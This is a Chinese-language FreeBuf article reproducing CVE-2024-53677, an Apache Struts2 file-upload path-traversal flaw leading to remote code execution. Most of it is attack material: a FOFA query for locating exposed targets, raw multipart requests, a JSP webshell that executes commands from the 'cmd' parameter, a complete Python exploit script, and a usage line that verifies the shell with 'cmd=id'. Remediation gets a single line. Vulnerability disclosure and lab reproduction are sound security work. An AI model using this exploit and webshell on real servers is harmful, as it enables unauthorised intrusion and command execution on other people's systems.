freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)
2024-12-18 22:45:24
所属地 上海

Struts2 介绍

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

漏洞概述

CVE-2024-53677 是一个在Apache Struts 框架中发现的严重漏洞,可能允许攻击者远程执行任意代码。 漏洞的根本原因是文件上传逻辑存在缺陷,攻击者可以利用该缺陷进行路径穿越和恶意文件上传。 该漏洞影响了特定版本的Apache Struts,开发者和系统管理员应立即采取措施,防止被利用。

漏洞版本

2.0.0 <= Struts <= 2.3.37(EOL)
2.5.0 <= Struts <= 2.5.33
6.0.0 <= Struts <= 6.3.0.2

FOFA:

app="Struts2"

环境搭建

使用docker进行搭建靶场,使用的系统为Centos 7

git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53667 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53667 cve-2024-53667
curl http://localhost:8080/upload.action

1734532356_6762dd04001a1f4ad6765.png!small?1734532356614


漏洞复现

目标地址如下:

1734532388_6762dd24d658f359bee1f.png!small?1734532389453


首先尝试上传一个1.txt 文档,文档内容为CVE-2024-53677

1734532410_6762dd3a821acb7664dee.png!small?1734532411223

1734532427_6762dd4b22406305aa434.png!small?1734532427747

此时访问1.txt

1734532448_6762dd609f2a1b43b6a16.png!small?1734532449304

由此可见,文件上传点为/upload.action,上传后的文件路径为/uploads/ ,接下来正常上传一个jsp 木马,抓包后数据包如下:

POST /upload.action HTTP/1.1
Host: 192.168.41.219:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Content-Length: 562
Origin: http://192.168.41.219:8080
Connection: close
Referer: http://192.168.41.219:8080/upload.action
Cookie: JSESSIONID=478BDFF51FE2EF802661225A4D559B69
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>

-----------------------------338492666920734954652406641204--


发送数据包

1734532498_6762dd927340972abfc44.png!small?1734532499257


也是能正常上传到/uploads/ 目录的,而CVE-2024-53677 可以绕过上传路径到 网址根目录下:具体原理参考如下:

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

因此修改后的数据包如下:

POST /upload.action HTTP/1.1
Host: 192.168.41.219:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Content-Length: 696
Origin: http://192.168.41.219:8080
Connection: close
Referer: http://192.168.41.219:8080/upload.action
Cookie: JSESSIONID=478BDFF51FE2EF802661225A4D559B69
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>
-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload";name="top.UploadFileName";

../test.jsp
-----------------------------338492666920734954652406641204--


简单来说具体改变的是将name="upload" 改成了name="Upload" filename="1.txt" 以及Content-Type 也变了,然后添加另一个Content-Disposition 并且使用了top,从而改变了路径

1734532576_6762dde0dc81a913a35a3.png!small?1734532577597

成功绕过上传路径

1734532600_6762ddf814b38377c1773.png!small?1734532600667

脚本利用如下:

CVE-2024-53677.py

import requests
import argparse
import os

def send_post_request(url, filename_value, file_path, file_type):
    # 读取文件内容
    with open(file_path, 'r') as f:
        file_content = f.read()

    # 设置请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
    }

    # 设置 multipart/form-data
    files = {
        'Upload': (os.path.basename(file_path), file_content, 'text/html'),
    }
    
    # 设置字段参数,根据 -type 选择上传单文件还是多文件
    if file_type == 's':
        data = {
            'top.uploadFileName': filename_value,
        }
    elif file_type == 'm':
        data = {
            'uploadFileName[0]': filename_value,
        }
    else:
        raise ValueError("Invalid type, must be 's' for single or 'm' for multiple.")

    # 发送POST请求
    response = requests.post(url, headers=headers, files=files, data=data)
    
    # 输出响应结果
    print(f"Response Status Code: {response.status_code}")
    print(response.text)

def main():
    # 设置命令行参数
    parser = argparse.ArgumentParser(description='Send a POST request with file and form data.')
    parser.add_argument('-u', '--url', required=True, help='upload aciton url')
    parser.add_argument('-filename', required=True, help='filename with path traversal')
    parser.add_argument('-file', required=True, help='evil file to be uploaded')
    parser.add_argument('-type', choices=['s', 'm'], required=True, help="Type of upload: 's' for single file upload, 'm' for multiple files upload")

    # 解析参数
    args = parser.parse_args()

    # 发送POST请求
    send_post_request(args.url, args.filename, args.file, args.type)

if __name__ == '__main__':
    main()

准备一个jsp 木马,这里为1.jsp

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>

脚本运行模板如下:

python CVE-2024-53677.py -u http://192.168.41.219:8080/upload.action -filename ../poc.jsp -file 1.jsp -type s

其中参数-u 指定上传点,-filename 指定上传的路径和上传后的文件名 -file指定要上传的文件, -type s 指定单文件上传

1734532712_6762de68e64e34eeb27df.png!small?1734532713573

上传完成后访问如下地址,验证一句话木马

http://192.168.41.219:8080/poc.jsp?cmd=id

1734532744_6762de8862750e056a4aa.png!small?1734532744985


漏洞修复:

升级至安全版本。

# 漏洞 # 渗透测试 # 黑客 # web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录